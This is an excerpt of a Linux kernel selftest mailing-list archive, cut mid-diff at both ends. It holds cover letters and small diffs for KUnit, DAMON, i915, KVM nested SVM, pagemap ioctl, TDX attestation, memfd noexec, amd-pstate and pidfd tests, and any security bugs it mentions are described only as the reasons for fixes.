- passed : int - the number of tests that have passed
- failed : int - the number of tests that have failed
- crashed : int - the number of tests that have crashed
- skipped : int - the number of tests that have skipped
- errors : int - the number of errors in the test and subtests
- """
- def __init__(self):
- """Creates TestCounts object with counts of all test
- statuses and test errors set to 0.
- """
- self.passed = 0
- self.failed = 0
- self.crashed = 0
- self.skipped = 0
- self.errors = 0
+ """
+ passed: int = 0
+ failed: int = 0
+ crashed: int = 0
+ skipped: int = 0
+ errors: int = 0
def __str__(self) -> str:
"""Returns the string representation of a TestCounts object."""
diff --git a/tools/testing/kunit/kunit_tool_test.py b/tools/testing/kunit/kunit_tool_test.py
index e2cd2cc2e98f..9fa4babb2506 100755
--- a/tools/testing/kunit/kunit_tool_test.py
+++ b/tools/testing/kunit/kunit_tool_test.py
@@ -179,9 +179,7 @@ class KUnitParserTest(unittest.TestCase):
kunit_parser.extract_tap_lines(
file.readlines()))
# A missing test plan is not an error.
- self.assertEqual(0, result.counts.errors)
- # All tests should be accounted for.
- self.assertEqual(10, result.counts.total())
+ self.assertEqual(result.counts, kunit_parser.TestCounts(passed=10, errors=0))
self.assertEqual(
kunit_parser.TestStatus.SUCCESS,
result.status)
base-commit: 5aaef24b5c6d4246b2cac1be949869fa36577737
--
2.38.1.273.g43a17bfeac-goog
This patchset is for fixing (patch 1) the syzbot-reported
slab-out-of-bounds write in dbgfs_rm_context_write[1], and adding a
selftest for the bug (patch 2).
[1] https://lore.kernel.org/damon/000000000000ede3ac05ec4abf8e@google.com/
SeongJae Park (2):
mm/damon/dbgfs: check if rm_contexts input is for a real context
selftests/damon: test non-context inputs to rm_contexts file
mm/damon/dbgfs.c | 7 +++++++
tools/testing/selftests/damon/Makefile | 1 +
.../damon/debugfs_rm_non_contexts.sh | 19 +++++++++++++++++++
3 files changed, 27 insertions(+)
create mode 100755 tools/testing/selftests/damon/debugfs_rm_non_contexts.sh
--
2.25.1
This RFC patch series implement KUnit support for i915 driver,
using the already-existing tests inside i915 selftests.
On this version, mock selftest can now run in qemu with:
$ ./tools/testing/kunit/kunit.py run --arch=x86_64 \
--kunitconfig=drivers/gpu/drm/i915/selftests
The tests which depends on having a real i915 hardware will be skipped.
All selftests will run on bare metal, by modprobing test-i915 module.
The output can be parsed (with a hack) using kunit.py:
$ (echo "[ 0.000000] TAP version 14"; dmesg)>logs; ./tools/testing/kunit/kunit.py parse logs
[14:29:06] ============================================================
[14:29:06] ============ i915 mock selftests (18 subtests) =============
[14:29:06] [PASSED] mock_sanitycheck
[14:29:06] [PASSED] mock_shmem
[14:29:06] [PASSED] mock_fence
[14:29:06] [PASSED] mock_scatterlist
[14:29:06] [PASSED] mock_syncmap
[14:29:06] [PASSED] mock_uncore
[14:29:06] [PASSED] mock_ring
[14:29:06] [PASSED] mock_engine
[14:29:06] [PASSED] mock_timelines
[14:29:06] [PASSED] mock_requests
[14:29:06] [PASSED] mock_objects
[14:29:06] [PASSED] mock_phys
[14:29:06] [PASSED] mock_dmabuf
[14:29:06] [PASSED] mock_vma
[14:29:06] [PASSED] mock_evict
[14:29:06] [PASSED] mock_gtt
[14:29:06] [PASSED] mock_hugepages
[14:29:06] [PASSED] mock_memory_region
[14:29:06] =============== [PASSED] i915 mock selftests ===============
[14:29:06] ============ i915 live selftests (36 subtests) =============
[14:29:06] [PASSED] live_sanitycheck
[14:29:06] [PASSED] live_uncore
[14:29:06] [PASSED] live_workarounds
[14:29:06] [PASSED] live_gt_engines
[14:29:06] [PASSED] live_gt_timelines
[14:29:06] [PASSED] live_gt_contexts
[14:29:06] [PASSED] live_gt_lrc
[14:29:06] [PASSED] live_gt_mocs
[14:29:06] [PASSED] live_gt_pm
[14:29:06] [PASSED] live_gt_heartbeat
[14:29:06] [PASSED] live_requests
[14:29:06] [PASSED] live_migrate
[14:29:06] [PASSED] live_active
[14:29:06] [PASSED] live_objects
[14:29:06] i915: Performing live_mman selftests with st_random_seed=0x1e5d7be5 st_timeout=500
[14:29:06] test_i915: Setting dangerous option KUnit live_mman - tainting kernel
[14:29:06] test_i915: Running live_mman on 0000:00:02.0
[14:29:06] Test called without an user context!
[14:29:06] # live_mman: EXPECTATION FAILED at drivers/gpu/drm/i915/selftests/i915_kunit.c:110
[14:29:06] Expected ret == 0, but
[14:29:06] ret == -22
[14:29:06] not ok 15 - live_mman
[14:29:06] [FAILED] live_mman
[14:29:06] [PASSED] live_dmabuf
[14:29:06] [PASSED] live_vma
[14:29:06] [PASSED] live_coherency
[14:29:06] [PASSED] live_gtt
[14:29:06] [PASSED] live_gem
[14:29:06] [PASSED] live_evict
[14:29:06] [PASSED] live_hugepages
[14:29:06] [PASSED] live_gem_contexts
[14:29:06] [PASSED] live_client
[14:29:06] [PASSED] live_gem_migrate
[14:29:06] [PASSED] live_reset
[14:29:06] [PASSED] live_memory_region
[14:29:06] [PASSED] live_hangcheck
[14:29:06] [PASSED] live_execlists
[14:29:06] [PASSED] live_ring_submission
[14:29:06] [PASSED] live_perf
[14:29:06] [PASSED] live_slpc
[14:29:06] [PASSED] live_guc
[14:29:06] [PASSED] live_guc_multi_lrc
[14:29:06] [PASSED] live_guc_hang
[14:29:06] [PASSED] live_late_gt_pm
[14:29:06] test_i915: 0000:00:02.0: it is a i915 device.
[14:29:06] # Subtest: i915 live selftests
[14:29:06] 1..36
[14:29:06] # i915 live selftests: pass:35 fail:1 skip:0 total:36
[14:29:06] # Totals: pass:35 fail:1 skip:0 total:36
[14:29:06] not ok 2 - i915 live selftests
[14:29:06] =============== [FAILED] i915 live selftests ===============
[14:29:06] ============= i915 perf selftests (4 subtests) =============
[14:29:06] [PASSED] perf_engine_cs
[14:29:06] [PASSED] perf_request
[14:29:06] [PASSED] perf_migrate
[14:29:06] [PASSED] perf_region
[14:29:06] =============== [PASSED] i915 perf selftests ===============
[14:29:06] ============================================================
[14:29:06] Testing complete. Ran 58 tests: passed: 57, failed: 1
It is worth noticing that the mmap tests will fail while running via
KUnit. The reason is that such tests depend on having an user
context allocated at current->mm. While modprobing i915 with
selftests enabled allocates it - this is done by Kernel fork() logic),
modprobing test-i915 doesn't. So, such tests won't run.
We probably need to modify kunit core in order for it to call
mm_alloc() internally before starting the tests.
Comments?
PS.: the current approach is getting only the final results of the
selftests. I opted for this strategy as we need to support i915 selftests,
as those are used by Intel DRM CI bot. A more intrusive change could
be done in the future, in order to export all tests called via SUBTESTS()
macro.
It also makes sense to add filtering capabilities to the module, as this ends
being needed during development phase, where some tests might fail
on newer hardware.
---
v2:
- changes outside KUnit module moved to separate patches;
- added support for running live and perf selftests on bare metal;
- made the KUnit test logic identical to i915 selftest.
Mauro Carvalho Chehab (8):
drm/i915: export all selftest functions
drm/i915: place selftest preparation on a separate function
drm/i915: allow running mock selftests via Kunit
drm/i915: add support to run KUnit tests on bare metal
drm/i915: add live selftests to KUnit
drm/i915: add perf selftests to KUnit
drm/i915: now that all functions are used, remove __maybe_unused
drm/i915: check if current->mm is not NULL
drivers/gpu/drm/i915/Kconfig | 15 +
drivers/gpu/drm/i915/Makefile | 5 +
.../gpu/drm/i915/gem/selftests/huge_pages.c | 2 +
.../i915/gem/selftests/i915_gem_client_blt.c | 1 +
.../i915/gem/selftests/i915_gem_coherency.c | 1 +
.../drm/i915/gem/selftests/i915_gem_context.c | 1 +
.../drm/i915/gem/selftests/i915_gem_dmabuf.c | 2 +
.../drm/i915/gem/selftests/i915_gem_migrate.c | 1 +
.../drm/i915/gem/selftests/i915_gem_mman.c | 6 +
.../drm/i915/gem/selftests/i915_gem_object.c | 2 +
.../drm/i915/gem/selftests/i915_gem_phys.c | 1 +
drivers/gpu/drm/i915/gt/selftest_context.c | 1 +
drivers/gpu/drm/i915/gt/selftest_engine.c | 1 +
drivers/gpu/drm/i915/gt/selftest_engine_cs.c | 2 +
.../drm/i915/gt/selftest_engine_heartbeat.c | 1 +
drivers/gpu/drm/i915/gt/selftest_execlists.c | 1 +
drivers/gpu/drm/i915/gt/selftest_gt_pm.c | 2 +
drivers/gpu/drm/i915/gt/selftest_hangcheck.c | 1 +
drivers/gpu/drm/i915/gt/selftest_lrc.c | 1 +
drivers/gpu/drm/i915/gt/selftest_migrate.c | 2 +
drivers/gpu/drm/i915/gt/selftest_mocs.c | 1 +
drivers/gpu/drm/i915/gt/selftest_reset.c | 1 +
drivers/gpu/drm/i915/gt/selftest_ring.c | 1 +
.../drm/i915/gt/selftest_ring_submission.c | 1 +
drivers/gpu/drm/i915/gt/selftest_slpc.c | 1 +
drivers/gpu/drm/i915/gt/selftest_timeline.c | 2 +
.../gpu/drm/i915/gt/selftest_workarounds.c | 1 +
drivers/gpu/drm/i915/gt/st_shmem_utils.c | 1 +
drivers/gpu/drm/i915/gt/uc/selftest_guc.c | 1 +
.../drm/i915/gt/uc/selftest_guc_hangcheck.c | 1 +
.../drm/i915/gt/uc/selftest_guc_multi_lrc.c | 1 +
drivers/gpu/drm/i915/i915_selftest.h | 2 +
drivers/gpu/drm/i915/selftests/.kunitconfig | 12 +
drivers/gpu/drm/i915/selftests/i915_active.c | 1 +
drivers/gpu/drm/i915/selftests/i915_gem.c | 1 +
.../gpu/drm/i915/selftests/i915_gem_evict.c | 2 +
drivers/gpu/drm/i915/selftests/i915_gem_gtt.c | 2 +
drivers/gpu/drm/i915/selftests/i915_kunit.c | 260 ++++++++++++++++++
drivers/gpu/drm/i915/selftests/i915_perf.c | 1 +
drivers/gpu/drm/i915/selftests/i915_request.c | 3 +
.../gpu/drm/i915/selftests/i915_selftest.c | 24 +-
.../gpu/drm/i915/selftests/i915_sw_fence.c | 1 +
drivers/gpu/drm/i915/selftests/i915_syncmap.c | 1 +
drivers/gpu/drm/i915/selftests/i915_vma.c | 2 +
.../drm/i915/selftests/intel_memory_region.c | 3 +
drivers/gpu/drm/i915/selftests/intel_uncore.c | 2 +
drivers/gpu/drm/i915/selftests/scatterlist.c | 1 +
47 files changed, 371 insertions(+), 8 deletions(-)
create mode 100644 drivers/gpu/drm/i915/selftests/.kunitconfig
create mode 100644 drivers/gpu/drm/i915/selftests/i915_kunit.c
--
2.38.1
Recently while trying to fix some unit tests I found a CVE in SVM nested code.
In 'shutdown_interception' vmexit handler we call kvm_vcpu_reset.
However if running nested and L1 doesn't intercept shutdown, we will still end
up running this function and trigger a bug in it.
The bug is that this function resets the 'vcpu->arch.hflags' without properly
leaving the nested state, which leaves the vCPU in inconsistent state, which
later triggers a kernel panic in SVM code.
The same bug can likely be triggered by sending INIT via local apic to a vCPU
which runs a nested guest.
On VMX we are lucky that the issue can't happen because VMX always intercepts
triple faults, thus triple fault in L2 will always be redirected to L1.
Plus the 'handle_triple_fault' of VMX doesn't reset the vCPU.
INIT IPI can't happen on VMX either because INIT events are masked while in
VMX mode.
First 4 patches in this series address the above issue, and are
already posted on the list with title,
('nSVM: fix L0 crash if L2 has shutdown condtion which L1 doesn't intercept')
I addressed the review feedback and also added a unit test to hit this issue.
In addition to these patches I noticed that KVM doesn't honour SHUTDOWN intercept bit
of L1 on SVM, and I included a fix to do so - its only for correctness
as a normal hypervisor should always intercept SHUTDOWN.
A unit test on the other hand might want to not do so.
I also extendted the triple_fault_test selftest to hit this issue.
Finaly I found another security issue, I found a way to
trigger a kernel non rate limited printk on SVM from the guest, and
last patch in the series fixes that.
A unit test I posted to kvm-unit-tests project hits this issue, so
no selftest was added.
Best regards,
Maxim Levitsky
Maxim Levitsky (9):
KVM: x86: nSVM: leave nested mode on vCPU free
KVM: x86: nSVM: harden svm_free_nested against freeing vmcb02 while
still in use
KVM: x86: add kvm_leave_nested
KVM: x86: forcibly leave nested mode on vCPU reset
KVM: selftests: move idt_entry to header
kvm: selftests: add svm nested shutdown test
KVM: x86: allow L1 to not intercept triple fault
KVM: selftests: add svm part to triple_fault_test
KVM: x86: remove exit_int_info warning in svm_handle_exit
arch/x86/kvm/svm/nested.c | 12 +++-
arch/x86/kvm/svm/svm.c | 10 +--
arch/x86/kvm/vmx/nested.c | 4 +-
arch/x86/kvm/x86.c | 29 ++++++--
tools/testing/selftests/kvm/.gitignore | 1 +
tools/testing/selftests/kvm/Makefile | 1 +
.../selftests/kvm/include/x86_64/processor.h | 13 ++++
.../selftests/kvm/lib/x86_64/processor.c | 13 ----
.../kvm/x86_64/svm_nested_shutdown_test.c | 71 +++++++++++++++++++
.../kvm/x86_64/triple_fault_event_test.c | 71 ++++++++++++++-----
10 files changed, 174 insertions(+), 51 deletions(-)
create mode 100644 tools/testing/selftests/kvm/x86_64/svm_nested_shutdown_test.c
--
2.34.3
Hello,
This patch series implements IOCTL on the pagemap procfs file to get the
information about the page table entries (PTEs). The following operations
are supported in this ioctl:
- Get the information if the pages are soft-dirty, file mapped, present
or swapped.
- Clear the soft-dirty PTE bit of the pages.
- Get and clear the soft-dirty PTE bit of the pages atomically.
Soft-dirty PTE bit of the memory pages can be read by using the pagemap
procfs file. The soft-dirty PTE bit for the whole memory range of the
process can be cleared by writing to the clear_refs file. There are other
methods to mimic this information entirely in userspace with poor
performance:
- The mprotect syscall and SIGSEGV handler for bookkeeping
- The userfaultfd syscall with the handler for bookkeeping
Some benchmarks can be seen here[1]. This series adds features that weren't
present earlier:
- There is no atomic get soft-dirty PTE bit status and clear operation
possible.
- The soft-dirty PTE bit of only a part of memory cannot be cleared.
Historically, soft-dirty PTE bit tracking has been used in the CRIU
project. The procfs interface is enough for finding the soft-dirty bit
status and clearing the soft-dirty bit of all the pages of a process.
We have the use case where we need to track the soft-dirty PTE bit for
only specific pages on demand. We need this tracking and clear mechanism
of a region of memory while the process is running to emulate the
getWriteWatch() syscall of Windows. This syscall is used by games to
keep track of dirty pages to process only the dirty pages.
The information related to pages if the page is file mapped, present and
swapped is required for the CRIU project[2][3]. The addition of the
required mask, any mask, excluded mask and return masks are also required
for the CRIU project[2].
The IOCTL returns the addresses of the pages which match the specific masks.
The page addresses are returned in struct page_region in a compact form.
The max_pages is needed to support a use case where user only wants to get
a specific number of pages. So there is no need to find all the pages of
interest in the range when max_pages is specified. The IOCTL returns when
the maximum number of the pages are found. The max_pages is optional. If
max_pages is specified, it must be equal or greater than the vec_size.
This restriction is needed to handle worse case when one page_region only
contains info of one page and it cannot be compacted. This is needed to
emulate the Windows getWriteWatch() syscall.
Some non-dirty pages get marked as dirty because of the kernel's
internal activity (such as VMA merging as soft-dirty bit difference isn't
considered while deciding to merge VMAs). The dirty bit of the pages is
stored in the VMA flags and in the per page flags. If any of these two bits
are set, the page is considered to be soft dirty. Suppose you have cleared
the soft dirty bit of half of VMA which will be done by splitting the VMA
and clearing soft dirty bit flag in the half VMA and the pages in it. Now
kernel may decide to merge the VMAs again. So the half VMA becomes dirty
again. This splitting/merging costs performance. The application receives
a lot of pages which aren't dirty in reality but marked as dirty.
Performance is lost again here. Also sometimes user doesn't want the newly
allocated memory to be marked as dirty. PAGEMAP_NO_REUSED_REGIONS flag
solves both the problems. It is used to not depend on the soft dirty flag
in the VMA flags. So VMA splitting and merging doesn't happen. It only
depends on the soft dirty bit of the individual pages. Thus by using this
flag, there may be a scenerio such that the new memory regions which are
just created, doesn't look dirty when seen with the IOCTL, but look dirty
when seen from procfs. This seems okay as the user of this flag know the
implication of using it.
[1] https://lore.kernel.org/lkml/54d4c322-cd6e-eefd-b161-2af2b56aae24@collabora…
[2] https://lore.kernel.org/all/YyiDg79flhWoMDZB@gmail.com/
[3] https://lore.kernel.org/all/20221014134802.1361436-1-mdanylo@google.com/
Regards,
Muhammad Usama Anjum
Muhammad Usama Anjum (3):
fs/proc/task_mmu: update functions to clear the soft-dirty PTE bit
fs/proc/task_mmu: Implement IOCTL to get and/or the clear info about
PTEs
selftests: vm: add pagemap ioctl tests
fs/proc/task_mmu.c | 400 +++++++++++-
include/uapi/linux/fs.h | 53 ++
tools/include/uapi/linux/fs.h | 53 ++
tools/testing/selftests/vm/.gitignore | 1 +
tools/testing/selftests/vm/Makefile | 5 +-
tools/testing/selftests/vm/pagemap_ioctl.c | 681 +++++++++++++++++++++
6 files changed, 1160 insertions(+), 33 deletions(-)
create mode 100644 tools/testing/selftests/vm/pagemap_ioctl.c
--
2.30.2
Hi All,
Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious
hosts and some physical attacks. VM guest with TDX support is called
as a TDX Guest.
In TDX guest, attestation process is used to verify the TDX guest
trustworthiness to other entities before provisioning secrets to the
guest. For example, a key server may request for attestation before
releasing the encryption keys to mount the encrypted rootfs or
secondary drive.
This patch set adds attestation support for the TDX guest. Details
about the TDX attestation process and the steps involved are explained
in Documentation/x86/tdx.rst (added by patch 2/3).
Following are the details of the patch set:
Patch 1/3 -> Preparatory patch for adding attestation support.
Patch 2/3 -> Adds user interface driver to support attestation.
Patch 3/3 -> Adds selftest support for TDREPORT feature.
Commit log history is maintained in the individual patches.
Current overall status of this series is, it has no pending issues
and can be considered for the upcoming merge cycle.
Kuppuswamy Sathyanarayanan (3):
x86/tdx: Add a wrapper to get TDREPORT from the TDX Module
virt: Add TDX guest driver
selftests: tdx: Test TDX attestation GetReport support
Documentation/virt/coco/tdx-guest.rst | 42 +++++
Documentation/virt/index.rst | 1 +
Documentation/x86/tdx.rst | 43 +++++
arch/x86/coco/tdx/tdx.c | 31 ++++
arch/x86/include/asm/tdx.h | 2 +
drivers/virt/Kconfig | 2 +
drivers/virt/Makefile | 1 +
drivers/virt/coco/tdx-guest/Kconfig | 10 ++
drivers/virt/coco/tdx-guest/Makefile | 2 +
drivers/virt/coco/tdx-guest/tdx-guest.c | 121 +++++++++++++
include/uapi/linux/tdx-guest.h | 55 ++++++
tools/testing/selftests/Makefile | 1 +
tools/testing/selftests/tdx/Makefile | 7 +
tools/testing/selftests/tdx/config | 1 +
tools/testing/selftests/tdx/tdx_guest_test.c | 175 +++++++++++++++++++
15 files changed, 494 insertions(+)
create mode 100644 Documentation/virt/coco/tdx-guest.rst
create mode 100644 drivers/virt/coco/tdx-guest/Kconfig
create mode 100644 drivers/virt/coco/tdx-guest/Makefile
create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c
create mode 100644 include/uapi/linux/tdx-guest.h
create mode 100644 tools/testing/selftests/tdx/Makefile
create mode 100644 tools/testing/selftests/tdx/config
create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c
--
2.34.1
From: Jeff Xu <jeffxu(a)chromium.org>
Hi,
This v2 series MFD_NOEXEC, this series includes:
1> address comments in V1
2> add sysctl (vm.mfd_noexec) to change the default file permissions
of memfd_create to be non-executable.
Below are cover-level for v1:
The default file permissions on a memfd include execute bits, which
means that such a memfd can be filled with a executable and passed to
the exec() family of functions. This is undesirable on systems where all
code is verified and all filesystems are intended to be mounted noexec,
since an attacker may be able to use a memfd to load unverified code and
execute it.
Additionally, execution via memfd is a common way to avoid scrutiny for
malicious code, since it allows execution of a program without a file
ever appearing on disk. This attack vector is not totally mitigated with
this new flag, since the default memfd file permissions must remain
executable to avoid breaking existing legitimate uses, but it should be
possible to use other security mechanisms to prevent memfd_create calls
without MFD_NOEXEC on systems where it is known that executable memfds
are not necessary.
This patch series adds a new MFD_NOEXEC flag for memfd_create(), which
allows creation of non-executable memfds, and as part of the
implementation of this new flag, it also adds a new F_SEAL_EXEC seal,
which will prevent modification of any of the execute bits of a sealed
memfd.
I am not sure if this is the best way to implement the desired behavior
(for example, the F_SEAL_EXEC seal is really more of an implementation
detail and feels a bit clunky to expose), so suggestions are welcome
for alternate approaches.
v1: https://lwn.net/Articles/890096/
Daniel Verkamp (4):
mm/memfd: add F_SEAL_EXEC
mm/memfd: add MFD_NOEXEC flag to memfd_create
selftests/memfd: add tests for F_SEAL_EXEC
selftests/memfd: add tests for MFD_NOEXEC
Jeff Xu (1):
sysctl: add support for mfd_noexec
include/linux/mm.h | 4 +
include/uapi/linux/fcntl.h | 1 +
include/uapi/linux/memfd.h | 1 +
kernel/sysctl.c | 9 ++
mm/memfd.c | 39 ++++-
mm/shmem.c | 6 +
tools/testing/selftests/memfd/memfd_test.c | 163 ++++++++++++++++++++-
7 files changed, 221 insertions(+), 2 deletions(-)
base-commit: 9e2f40233670c70c25e0681cb66d50d1e2742829
--
2.37.1.559.g78731f0fdb-goog
Hi all:
First, rename amd-pstate-ut.sh to basic.sh as a basic test, mainly for
AMD P-State kernel drivers. The purpose of this modification is to
facilitate the subsequent addition of gitsource, tbench and other tests.
Second, split basic.sh into run.sh and basic.sh.
The modification makes basic.sh more pure, just for test basic kernel
functions. The file of run.sh mainly contains functions such as test
entry, parameter check, prerequisite and log clearing etc.
Third, add tbench.sh trigger the tbench testing and monitor the cpu.
Fourth, add gitsource.sh trigger the gitsource testing and monitor the cpu
information.
Finally, modify rst document to introduce test steps and results etc.
See patch series in below git repo:
V1:https://lore.kernel.org/lkml/20220706073622.672135-1-li.meng@amd.com/V2:https://lore.kernel.org/lkml/20220804054414.1510764-1-li.meng@amd.com/V3:https://lore.kernel.org/lkml/20220914061105.1982477-1-li.meng@amd.com/V4:https://lore.kernel.org/lkml/20221024013356.1639489-1-li.meng@amd.com/
Changes from V1->V2:
- selftests: amd-pstate: basic
- - delete main.sh and merge funtions into run.sh
- selftests: amd-pstate: tbench
- - modify ppw to performance per watt for tbench.
- - add comments for performance per watt for tbench.
- - add comparative test on acpi-cpufreq for tbench.
- - calculate drop between amd-pstate and acpi-cpufreq etc.
- - plot images about perfrmance,energy and ppw for tbench.
- selftests: amd-pstate: gitsource
- - modify ppw to performance per watt for gitsource.
- - add comments for performance per watt for gitsource.
- - add comparative test on acpi-cpufreq for gitsource.
- - calculate drop between amd-pstate and acpi-cpufreq etc.
- - plot images about perfrmance,energy and ppw for gitsource.
- Documentation: amd-pstate:
- - modify rst doc, introduce comparative test etc.
Changes from V2->V3:
- selftests: amd-pstate:
- - reduce print logs for governor.
- - add a check to see if tbench and the perf tools are already installed.
- - install tbench package from apt or yum.
- - correct spelling errors from comprison to comparison.
Changes from V3->V4:
- selftests: amd-pstate:
- - modify cover letter and commit logs.
- Documentation: amd-pstate:
- - modify some format questions.
Changes from V4->V5:
- selftests: amd-pstate:
- - rename amd-pstate-ut.sh to basic.sh.
- - split basic.sh into run.sh and basic.sh.
- - modify tbench.sh to prompt to install tbench.
- - modify commit messages and description informations of shell files.
- Documentation: amd-pstate:
- - correct spell errors.
Thanks,
Jasmine
Meng Li (5):
selftests: amd-pstate: Rename amd-pstate-ut.sh to basic.sh.
selftests: amd-pstate: Split basic.sh into run.sh and basic.sh.
selftests: amd-pstate: Trigger tbench benchmark and test cpus
selftests: amd-pstate: Trigger gitsource benchmark and test cpus
Documentation: amd-pstate: Add tbench and gitsource test introduction
Documentation/admin-guide/pm/amd-pstate.rst | 194 ++++++++-
tools/testing/selftests/amd-pstate/Makefile | 11 +-
.../selftests/amd-pstate/amd-pstate-ut.sh | 56 ---
tools/testing/selftests/amd-pstate/basic.sh | 38 ++
.../testing/selftests/amd-pstate/gitsource.sh | 354 ++++++++++++++++
tools/testing/selftests/amd-pstate/run.sh | 387 ++++++++++++++++++
tools/testing/selftests/amd-pstate/tbench.sh | 339 +++++++++++++++
7 files changed, 1302 insertions(+), 77 deletions(-)
delete mode 100755 tools/testing/selftests/amd-pstate/amd-pstate-ut.sh
create mode 100755 tools/testing/selftests/amd-pstate/basic.sh
create mode 100755 tools/testing/selftests/amd-pstate/gitsource.sh
create mode 100755 tools/testing/selftests/amd-pstate/run.sh
create mode 100755 tools/testing/selftests/amd-pstate/tbench.sh
--
2.34.1
Changes from RFC
(https://lore.kernel.org/damon/20221019001317.104270-1-sj@kernel.org/):
- Split out cleanup/refactoring parts[1]
[1] https://lore.kernel.org/damon/20221026225943.100429-1-sj@kernel.org/
-----------------------------------------------------------------------
DAMON users can retrieve the monitoring results via 'after_aggregation'
callbacks if the user is using the kernel API, or 'damon_aggregated'
tracepoint if the user is in the user space. Those are useful if full
monitoring results are necessary. However, if the user has interest in
only a snapshot of the results for some regions having specific access
pattern, the interfaces could be inefficient. For example, some users
only want to know which memory regions are not accessed for more than a
specific time at the moment.
Also, some DAMOS users would want to know exactly to what memory regions
the schemes' actions tried to be applied, for a debugging or a tuning.
As DAMOS has its internal mechanism for quota and regions
prioritization, the users would need to simulate DAMOS' mechanism
against the monitoring results. That's unnecessarily complex.
This patchset implements DAMON kernel API callbacks and sysfs directory
for efficient exposure of the information for the use cases. The new
callback will be called for each region when a DAMOS action is gonna
tried to be applied to it. The sysfs directory will be called
'tried_regions' and placed under each scheme sysfs directory. Users can
write a special keyworkd, 'update_schemes_regions', to the 'state' file
of a kdamond sysfs directory. Then, DAMON sysfs interface will fill the
directory with the information of regions that corresponding scheme
action was tried to be applied for next one aggregation interval.
Patches Sequence
----------------
The first one (patch 1) implements the callback for the kernel space
users. Following two patches (patches 2 and 3) implements sysfs
directories for the information and its sub directories. Two patches
(patches 4 and 5) for implementing the special keywords for filling the
data to and cleaning up the directories follow. Patch 6 adds a selftest
for the new sysfs directory. Finally, two patches (patches 7 and 8)
document the new feature in the administrator guide and the ABI
document.
Assembled Tree
--------------
This patchset is based on the latest mm-unstable tree[1]. Assembled
tree is also available at the damon/next tree[2].
[1] https://git.kernel.org/akpm/mm/h/mm-unstable
[2] https://git.kernel.org/sj/h/damon/next
SeongJae Park (8):
mm/damon/core: add a callback for scheme target regions check
mm/damon/sysfs-schemes: implement schemes/tried_regions directory
mm/damon/sysfs-schemes: implement scheme region directory
mm/damon/sysfs: implement DAMOS tried regions update command
mm/damon/sysfs-schemes: implement DAMOS-tried regions clear command
tools/selftets/damon/sysfs: test tried_regions directory existence
Docs/admin-guide/mm/damon/usage: document schemes/<s>/tried_regions
sysfs directory
Docs/ABI/damon: document 'schemes/<s>/tried_regions' sysfs directory
.../ABI/testing/sysfs-kernel-mm-damon | 32 +++
Documentation/admin-guide/mm/damon/usage.rst | 45 ++-
include/linux/damon.h | 5 +
mm/damon/core.c | 6 +-
mm/damon/sysfs-common.h | 10 +
mm/damon/sysfs-schemes.c | 261 ++++++++++++++++++
mm/damon/sysfs.c | 77 +++++-
tools/testing/selftests/damon/sysfs.sh | 7 +
8 files changed, 437 insertions(+), 6 deletions(-)
--
2.25.1
Currently, if you run
$ ./tools/testing/kunit/kunit_tool_test.py
you'll see a lot of output from the parser as we feed it testdata.
This makes the output hard to read and fairly confusing, esp. since our
testdata includes example failures, which get printed out in red.
Silence that output so real failures are easier to see.
Signed-off-by: Daniel Latypov <dlatypov(a)google.com>
---
tools/testing/kunit/kunit_tool_test.py | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/tools/testing/kunit/kunit_tool_test.py b/tools/testing/kunit/kunit_tool_test.py
index e2cd2cc2e98f..a6e53945656e 100755
--- a/tools/testing/kunit/kunit_tool_test.py
+++ b/tools/testing/kunit/kunit_tool_test.py
@@ -80,6 +80,9 @@ class KconfigTest(unittest.TestCase):
self.assertEqual(actual_kconfig, expected_kconfig)
class KUnitParserTest(unittest.TestCase):
+ def setUp(self):
+ self.print_mock = mock.patch('kunit_printer.Printer.print').start()
+ self.addCleanup(mock.patch.stopall)
def assertContains(self, needle: str, haystack: kunit_parser.LineStream):
# Clone the iterator so we can print the contents on failure.
@@ -485,6 +488,9 @@ class LinuxSourceTreeTest(unittest.TestCase):
class KUnitJsonTest(unittest.TestCase):
+ def setUp(self):
+ self.print_mock = mock.patch('kunit_printer.Printer.print').start()
+ self.addCleanup(mock.patch.stopall)
def _json_for(self, log_file):
with open(test_data_path(log_file)) as file:
base-commit: 8f8b51f7d5c8bd3a89e7ea87aed2cdaa52ca5ba4
--
2.38.1.273.g43a17bfeac-goog
Hi!
> On Mon, Oct 31, 2022 at 07:22:11AM +0000, zhaogongyi wrote:
> > Hi!
> >
> > +to linux-fsdevel(a)vger.kernel.org
> > +cc willy(a)infradead.org
> >
> > Regards,
> > Gongyi
>
> what?
I have submitted tow patches reference to the testing of page cache, please see: https://patchwork.kernel.org/project/linux-kselftest/patch/20221021071052.1…
The patches have not responded for a while, so I'm guessing that's the reason for my lack of cc to linux-fsdevel or page cache maintainer?
Best Regards,
Gongyi
0Day/LKP observed that the kselftest blocks forever since one of the
pidfd_wait doesn't terminate in 1 of 30 runs. After digging into
the source, we found that it blocks at:
ASSERT_EQ(sys_waitid(P_PIDFD, pidfd, &info, WCONTINUED, NULL), 0);
wait_states has below testing flow:
CHILD PARENT
---------------+--------------
1 STOP itself
2 WAIT for CHILD STOPPED
3 SIGNAL CHILD to CONT
4 CONT
5 STOP itself
5' WAIT for CHILD CONT
6 WAIT for CHILD STOPPED
The problem is that the kernel cannot ensure the order of 5 and 5', once
5 goes first, the test will fail.
we can reproduce it by:
$ while true; do make run_tests -C pidfd; done
Introduce a blocking read in child process to make sure the parent can
check its WCONTINUED.
CC: Philip Li <philip.li(a)intel.com>
Reported-by: kernel test robot <lkp(a)intel.com>
Signed-off-by: Li Zhijian <lizhijian(a)fujitsu.com>
Reviewed-by: Christian Brauner (Microsoft) <brauner(a)kernel.org>
---
I have almost forgotten this patch since the former version post over 6 months
ago. This time I just do a rebase and update the comments.
V3: fixes description and add review tag
V2: rewrite with pipe to avoid usleep
---
tools/testing/selftests/pidfd/pidfd_wait.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/tools/testing/selftests/pidfd/pidfd_wait.c b/tools/testing/selftests/pidfd/pidfd_wait.c
index 070c1c876df1..c3e2a3041f55 100644
--- a/tools/testing/selftests/pidfd/pidfd_wait.c
+++ b/tools/testing/selftests/pidfd/pidfd_wait.c
@@ -95,20 +95,28 @@ static int sys_waitid(int which, pid_t pid, siginfo_t *info, int options,
.flags = CLONE_PIDFD | CLONE_PARENT_SETTID,
.exit_signal = SIGCHLD,
};
+ int pfd[2];
pid_t pid;
siginfo_t info = {
.si_signo = 0,
};
+ ASSERT_EQ(pipe(pfd), 0);
